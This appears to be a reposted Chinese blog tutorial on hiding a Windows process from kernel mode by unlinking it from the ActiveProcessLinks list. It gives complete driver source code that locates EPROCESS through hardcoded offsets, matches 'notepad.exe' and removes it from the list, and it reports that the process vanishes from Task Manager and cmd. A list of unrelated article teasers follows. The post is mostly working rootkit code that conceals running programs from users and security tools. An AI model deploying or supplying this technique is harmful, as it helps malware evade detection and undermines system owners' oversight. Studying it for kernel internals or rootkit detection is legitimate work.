0环PEB断链实现

截止到昨天那里我们的思路就清晰了,通过EPROCESS找到我们要隐藏的进程的ActiveProcessLinks,将双向链表的值修改,就可以将我们想要隐藏的这个进程的ActiveProcessLinks从双向链表中抹去的效果,这里的话如果在windbg里面直接使用ed修改的话是比较方便的,但是如果要使用代码来进行修改的话就需要首先定位到EPROCESS

ETHREAD0x220偏移得到ThreadsProcess,指向的是_EPROCESS这个结构体

那么就可以用汇编实现找到EPROCESS结构

    __asm{mov eax, fs: [0x124] ;mov eax, [eax + 0x220];mov pEprocess, eax;}

首先定义一个指针指向EPROCESS结构,并初始化指向ActiveProcessLinks的指针

pCurProcess = pEprocess;curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);

然后判断通过EPROCESS的0x174处的ImageFileName来判断进程名是不是我们想要隐藏的进程

ImageFileName = (PCHAR)pCurProcess + 0x174;if (strcmp(ImageFileName, "notepad.exe") == 0)

如果是我们想要隐藏的进程就执行断链操作

            curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);nextNode = curNode->Flink;preNode = curNode->Blink;preNode->Flink = curNode->Flink;nextNode->Blink = curNode->Blink;

如果不是我们想要的进程就继续往下取ActiveProcessLinks的值

pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88);

完整代码如下

#include <ntddk.h>NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path);
VOID DriverUnload(PDRIVER_OBJECT driver);NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)
{PEPROCESS pEprocess, pCurProcess;PCHAR ImageFileName;__asm{mov eax, fs: [0x124] ;mov eax, [eax + 0x220];mov pEprocess, eax;}pCurProcess = pEprocess;do{ImageFileName = (PCHAR)pCurProcess + 0x174;if (strcmp(ImageFileName, "notepad.exe") == 0){PLIST_ENTRY preNode, curNode, nextNode;curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);nextNode = curNode->Flink;preNode = curNode->Blink;preNode->Flink = curNode->Flink;nextNode->Blink = curNode->Blink;DbgPrint("断链成功!\n");}pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88);} while (pEprocess != pCurProcess);driver->DriverUnload = DriverUnload;return STATUS_SUCCESS;
}VOID DriverUnload(PDRIVER_OBJECT driver)
{DbgPrint("驱动卸载成功\n");
}

实现效果如下

安装驱动之后在任务管理器跟cmd里面都已经看不到notepad.exe这个进程

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/733297.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

猫头虎分享已解决Bug || 操作系统核心错误:KernelPanic, SystemCrash

博主猫头虎的技术世界 &#x1f31f; 欢迎来到猫头虎的博客 — 探索技术的无限可能&#xff01; 专栏链接&#xff1a; &#x1f517; 精选专栏&#xff1a; 《面试题大全》 — 面试准备的宝典&#xff01;《IDEA开发秘籍》 — 提升你的IDEA技能&#xff01;《100天精通鸿蒙》 …

2024-AI工具分析共享

大家都知道如今是AI的时代&#xff0c;各个行业陷入了面对ai冲击下的无力。 但是实际上造成工作岗位缩减并不是ai&#xff0c;而是使用ai的人。以下我将会推荐几个实用的ai工具。 生成式AI工具分享 首屈一指的就是行业内的大佬&#xff1a;ChatGPT 访问地址&#xff1a;https:/…

13. 用户注册功能实现

文章目录 一 、增加路由二、书写流程控制&#xff08;controller&#xff09;逻辑三、书写业务逻辑四、与DB交互五、测试 代码地址&#xff1a;https://gitee.com/lymgoforIT/bluebell 一 、增加路由 添加路由&#xff0c;使用分组管理 v1 : r.Group("/api/v1")//…

Python JSON 数据解析

文章目录 JSON将Python数据结构转换为JSON字符串将JSON字符串解析为Python数据结构处理JSON数组处理JSON对象和字段名称json.dumps 与 json.loads 实例使用json.dumps将Python字典转换为JSON字符串使用json.loads将JSON字符串解析为Python字典完整代码示例 JSON json模块提供了…

【java】22:throws 异常处理

基本介绍 1&#xff09;如果一个方法(中的语句执行时)可能生成某种异常&#xff0c;但是并不能确定如何处理这种异常&#xff0c;则此方法应显示地声明抛出异常&#xff0c;表明该方法将不对这些异常进行处理&#xff0c;而由该方法的调用者负责处理。 2)在方法声明中用throw…

Linux - 进程信号

1、信号入门 1.1、生活角度的信号 你在网上买了很多件商品&#xff0c;再等待不同商品快递的到来。但即便快递没有到来&#xff0c;你也知道快递来临时&#xff0c; 你该怎么处理快递。也就是你能“识别快递”&#xff1b;当快递员到了你楼下&#xff0c;你也收到快递到来的通…

Pytest+Selenium UI自动化测试实战实例(全)

&#x1f345; 视频学习&#xff1a;文末有免费的配套视频可观看 &#x1f345; 关注公众号【互联网杂货铺】&#xff0c;回复 1 &#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 今天来说说pytest吧&#xff0c;经过几周的时间学习&#xff0c…

Redis实现用户活跃排行榜

在这里用户活跃度排行榜&#xff0c;主要是基于redis的zset数据结构来实现的&#xff0c;下面来看一下实例。 方案设计 来看一下业务场景先 1.场景说明 在技术派中&#xff0c;提供了一个用户的活跃排行榜&#xff0c;当然作为一个博客社区&#xff0c;更应该实现的是作者排…

连号区间数 刷题笔记

1.单个元素算一个连续区间 2.题意为 单独截取数组中的一段元素 例如 a数组假设为 3 1 2 5 4 6 7 假设取 a[3]-a[5] 则取出 5 4 6 重新排序后为 4 5 6 连续了 则ans; 假设 取a[i]-a[j]这一段元素 设该段元素的最大值为max,最小值为min 如果该段元素重新排序后…

docker本地搭建spark yarn hive环境

docker本地搭建spark yarn hive环境 前言软件版本准备工作使用说明构建基础镜像spark on yarn模式构建on-yarn镜像启动on-yarn集群手动方式自动方式 spark on yarn with hive(derby server)模式构建on-yarn-hive镜像启动on-yarn-hive集群手动方式自动方式 常用示例spark执行sh脚…

Learn OpenGL 04 纹理

纹理环绕方式 纹理坐标的范围通常是从(0, 0)到(1, 1)&#xff0c;那如果我们把纹理坐标设置在范围之外会发生什么&#xff1f;OpenGL默认的行为是重复这个纹理图像&#xff08;我们基本上忽略浮点纹理坐标的整数部分&#xff09;&#xff0c;但OpenGL提供了更多的选择&#xf…

LCR 131. 砍竹子 I

解题思路&#xff1a;&#xff08;与砍竹子II的区别是&#xff0c;这里的竹子长度数量级较小&#xff09; 数学推导或贪心 切分规则&#xff1a; 等长&#xff0c;且尽量为3 b0时&#xff0c;pow(3,a) b1时&#xff0c;pow(3,a-1)*4 少一段3&#xff0c;并入b生成一…

Java进阶-实现一个基本的消息队列

消息队列是一种用于在应用程序之间传递消息的关键组件&#xff0c;它能够提高系统的可伸缩性和可靠性。在这篇文章中&#xff0c;我们将探讨如何实现一个基本的消息队列&#xff0c;了解其核心概念和基本原理。 一、消息队列的概念 消息队列是一种通信方式&#xff0c;它允许…

洛谷 1019.单词接龙

这道题用的搜索&#xff0c;也就是DFS&#xff0c;但是有一点难度&#xff0c;虽然说是对于搜索的知识点的考察&#xff0c;但是对于编程者的编程模拟能力和分析能力会有比较大的要求。 思路&#xff1a;首先我们审题&#xff0c;会注意到以下几点&#xff1a; 1.单词后面相同…

【pytorch学习】交叉熵损失函数 nn.CrossEntropyLoss() = nn.LogSoftmax(dim=1) + nn.NLLLoss()

结论&#xff1a; Pytorch中CrossEntropyLoss()函数的主要是将softmax-log-NLLLoss合并到一块得到的结果。 from&#xff1a; https://zhuanlan.zhihu.com/p/98785902 import torch import torch.nn as nn x_inputtorch.randn(3,3)#随机生成输入 print(x_input:\n,x_input)…

YUNBEE云贝:3月9日-PostgreSQL中级工程师PGCE认证培训

课程介绍 根据学员建议和市场需求,规划和设计了《PostgreSQL CE 认证课程》,本课程以内部原理、实践实战为主&#xff0c;理论与实践相结合。课程包含PG 简介、安装使用、服务管理、体系结构等基础知识。同时结合一线实战案例&#xff0c; 面向 PG 数据库的日常维护管理、服务和…

Vue | 基于 vue-admin-template 项目的跨域问题解决方法

目录 一、现存问题 二、解决方法 2.1 修改的第一个地方 2.2 修改的第二个地方 2.3 修改的第三个地方 自存 一、现存问题 报错截图如下&#xff1a; 二、解决方法 2.1 修改的第一个地方 在 .env.development 文件中&#xff1a; # base api # VUE_APP_BASE_API /d…

springboot整合shiro的实战教程(一)

文章目录 1.权限的管理1.1 什么是权限管理1.2 什么是身份认证1.3 什么是授权 2.什么是shiro3.shiro的核心架构3.1 Subject3.2 SecurityManager3.3 Authenticator3.4 Authorizer3.5 Realm3.6 SessionManager3.7 SessionDAO3.8 CacheManager3.9 Cryptography 4. shiro中的认证4.1…

我的 4096 创作纪念日

作者&#xff1a;明明如月学长&#xff0c; CSDN 博客专家&#xff0c;大厂高级 Java 工程师&#xff0c;《性能优化方法论》作者、《解锁大厂思维&#xff1a;剖析《阿里巴巴Java开发手册》》、《再学经典&#xff1a;《Effective Java》独家解析》专栏作者。 热门文章推荐&am…

header组件编写和Vuex store创建

src\components\Header\index.vue <template><header class"header"><h1><slot></slot></h1></header> </template><script> export default {name: Header } </script> src\main.js 引入全局样式 imp…